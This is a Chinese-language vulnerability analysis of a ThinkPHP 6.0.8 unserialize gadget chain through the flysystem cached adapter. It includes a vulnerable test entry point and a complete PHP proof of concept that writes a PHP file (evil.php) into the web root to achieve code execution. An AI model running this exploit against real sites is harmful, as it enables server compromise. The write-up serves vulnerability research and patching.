参考文章:ThinkPHP6.0.8 exists unserialize vulnerability · Issue #2559 · top-think/framework · GitHub
0x00:漏洞简介
0x01:漏洞环境配置
笔者使用phpstudy_pro搭建php v6.08
并在index.php中写入反序列化入口
public function index()
{
if(isset($_REQUEST['data'])){
@unserialize($_REQUEST['data']);
}
}
0x02:寻找突破口
跟踪简介中的vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php
发现存在可能可利用的函数 save():
通过has()判断 如果文件名存在则更新文件内容
如果不存在则新建(写入)文件
class Adapter extends AbstractCache{
public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
*于是目标确定为触发 save() 并新建(写入)自定义文件,并且能够自定义路径与内容
那么怎么触发 save() 呢?
观察到 class Adapter extends AbstractCache 跟进AbstractCache发现变量 protected $autosave = true
同时存在析构函数会触发 save() ,只需要 $autosave = false;
abstract class AbstractCache implements CacheInterface{
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}
下一步则是完成自定义路径与内容
同样在 Adapter 中:
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
protected $expire = null;
//还有两个继承自AbstractCache的变量:
protected $cache = [];
protected $complete = [];
/**
* Constructor.
*
* @param AdapterInterface $adapter adapter
* @param string $file the file to cache to
* @param int|null $expire seconds until cache expiration
*//*
.........
.........
*/
public function setFromStorage($json)
{
list($cache, $complete, $expire) = json_decode($json, true);
if (! $expire || $expire > $this->getTime()) {
$this->cache = is_array($cache) ? $cache : [];
$this->complete = is_array($complete) ? $complete : [];
} else {
$this->adapter->delete($this->file);
}
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
//继承自AbstractCache的过滤函数
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
}
如果触发save()中的write(),是不是就可以通过 $file 来确定文件名和相对位置;$complete 确定文件内容了呢?
跟踪查看 write() 是虚构类的虚构函数,有一个继承类 Local 对其做了定义
class Local extends AbstractAdapter{
public function write($path, $contents, Config $config)
{
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
$type = 'file';
$result = compact('contents', 'type', 'size', 'path');
if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}
return $result;
}
}
其中 applyPathPrefix() 定义于AbstractAdapter如下:
abstract class AbstractAdapter implements AdapterInterface{
protected $pathPrefix;
public function getPathPrefix()
{
return $this->pathPrefix;
}
public function applyPathPrefix($path)
{
return $this->getPathPrefix() . ltrim($path, '\\/'); // 删除左侧全部的'/'
}
}
也就是说如果我们能自定义 class AbstractAdapter 中的 protected $pathPrefix 和 Adapter 中的 protected $file ,就可以组合成完整的相对路径了
而 TP 的默认路径在 /public 下 我们就可以构建如下路径:
<?php
$thisfile = 'evil.php';
$pathPrefix = './';
echo $pathPrefix.ltrim($thisfile, '\\/'); // 输出 './evil.php'
?>
路径是最大的问题,现在已经解决
关于文件内容 查看 Adapter 中的 public function setFromStorage($json) 和 public function getForStorage() 可知,write() 写入的内容如下:
$contents = json_encode([$cleaned, $this->complete, $this->expire]);
我们只要构建 $complete 的内容即可 :
$complete = '<?php phpinfo();?>';
0x03:Payload以及总体思路概览
POC:
<?php
namespace League\Flysystem\Cached\Storage{ //锁定目标审计文件:AbstractCache.php ; Adapter.php ; Filesystem.php
use League\Flysystem\Filesystem;
abstract class AbstractCache{
//更改AbstractCache.php中的autosave变量,由默认的true改为false;
//使得析构时会执行save()
protected $autosave = false;
}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct(){
$this->complete = "<?php phpinfo();?>"; //恶意代码
$this->expire = "1"; //seconds until cache expiration
$this->adapter = new \League\Flysystem\Adapter\Local(); //adapter 需要触发Local()以定义write()
$this->file = "evil.php"; //the file to cache to
}
}
}
namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{
}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./"; //结合 $thie->file = evil.php 构建最终相对路径
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo urlencode((serialize($a)));
}
运行得到payload,打入后查看文件发现 evil.php 已经被创建在 /public 下
访问 localhost/evil.php 执行成功
参考文章及poc出处:ThinkPHP6.0.8 exists unserialize vulnerability · Issue #2559 · top-think/framework · GitHub